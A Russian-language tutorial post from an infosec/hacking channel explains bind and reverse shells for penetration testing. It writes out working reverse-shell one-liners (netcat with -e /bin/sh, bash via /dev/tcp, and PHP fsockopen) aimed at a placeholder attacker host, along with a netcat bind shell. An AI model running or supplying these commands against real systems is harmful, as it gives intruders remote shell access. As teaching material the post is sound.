Обратные оболочки и полезные нагрузки. – Telegraph

telegra.ph/Obratnye-obolochki-i-poleznye-nagruzki-07-04

Life-Hack - Linux/Хакинг/Хакер/ИБ/Osint July 4, 2024

Shell – это программа, которая интерпретирует наши команды и отдает их операционной системе. Она действует как интерфейс между пользователем и операционной системой.

Некоторые популярные оболочки:

- Windows PowerShell
- Командная строка Windows
- bash
- sh

В контексте тестирования, шелл (Shell) позволяет контролировать целевое сетевое устройство и является точкой опоры в сети. Все шеллы можно раздетить на два вида:

Bind Shell и Reverse Shell.

Обратный shell (Reverse Shells) или back-connect – это схема, при которой атакующий должен сначала запустить сервер на своей машине, а целевая машина должна выступить в роли клиента, который подключается к серверу, обслуживаемому атакующим.

После успешного соединения злоумышленник может получить доступ к оболочке целевого компьютера. Для запуска Reverse Shell злоумышленнику не нужно знать IP-адрес жертвы, чтобы получить доступ к целевому компьютеру.

Когда вы находите уязвимость с возможностью удаленного выполнения произвольного кода (RCE), вашим следующим шагом будет запуск обратной оболочки. Рассмотрим самый простой пример с применением Netcat. Это утилита Unix, которая позволяет устанавливать соединения TCP и UDP, получать оттуда данные и передавать их.

Сперва атакующий запускает у себя сервер для приема входящих соединений от жертвы.

```
$ nc -nvlp 443
```

Эта команда открывает TCP-порт 443 на всех интерфейсах.

```
$ nc -e /bin/sh ATTACKER-IP 443
```

На мой взгляд, это самый классический пример обратной оболочки, но в современных реалиях netcat может просто не быть установлен на сервере. Альтернативный способ получения доступа:

```
bash -i >& /dev/tcp/attacker-ip/443 0>&1
```

Или:

```
php -r '$sock=fsockopen("attacker-ip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Обратный shell отлично подходит, когда нужно получить доступ к компьютеру, расположенному за NAT, например к серверу во внутреннем контуре компании, без белого IP-адреса.

В случае с Bind shell все наоборот, в роли серверной части выступает удаленная машина (например уязвимый хост). Для доступа к целевому компьютеру с настроенным bind shell, злоумышленник должен знать его IP-адрес.

Пример запуска Bind shell на машине жертвы:

```
nc -lnvp 3333 -e /bin/sh
```

Затем выоплним команду на машине атакующего:

```
nc -nv 192.168.1.10 3333
```

192.168.1.10 - IP-адрес жертвы.

	Bind Shell	Reverse Shell
1.	В Bind Shells слушатель запущен на целевой системе, и злоумышленник подключается к нему, чтобы получить удаленный доступ к целевой системе.	В обратной оболочке у атакующего есть слушатель, запущенный на его/ее машине, а цель подключается к атакующему с оболочкой. Таким образом, атакующий может получить доступ к целевой системе.
2.	В Bind shell злоумышленник находит открытый порт на сервере/целевой машине и затем пытается привязать свою оболочку к этому порту.	В обратной оболочке атакующий открывает свой собственный порт. Таким образом, жертва может подключиться к этому порту для успешного соединения.
3.	Перед запуском Bind Shell злоумышленник должен знать IP-адрес жертвы.	Атакующему не нужно знать IP-адрес жертвы, потому что атакующий собирается подключиться к нашему открытому порту.
4.	В Bind shell слушатель включен на целевой машине, и атакующий подключается к нему.	Обратная оболочка противоположна оболочке Bind Shell, в обратной оболочке слушатель включен на машине атакующего, а целевая машина подключается к нему.
5.	Иногда Bind Shell не работает, поскольку современные брандмауэры не позволяют посторонним подключаться к открытым портам.	Reverse Shell может обойти проблемы с брандмауэром, потому что эта целевая машина пытается подключиться к атакующей, поэтому брандмауэр не утруждает себя проверкой пакетов.

Многие эксплойты к популярным уязвимостям подразумевают выполнение сценариев, результатом которых, будет созание Bind Shell или Reverse Shell. Эти сценарии принято называть полезной нагрузкой. Существует множество способов заставить жертву выполнить полезную нагрузку и без эксплуатации уязвимостей, например отправив вредоносный файл по почте или в социальной сети.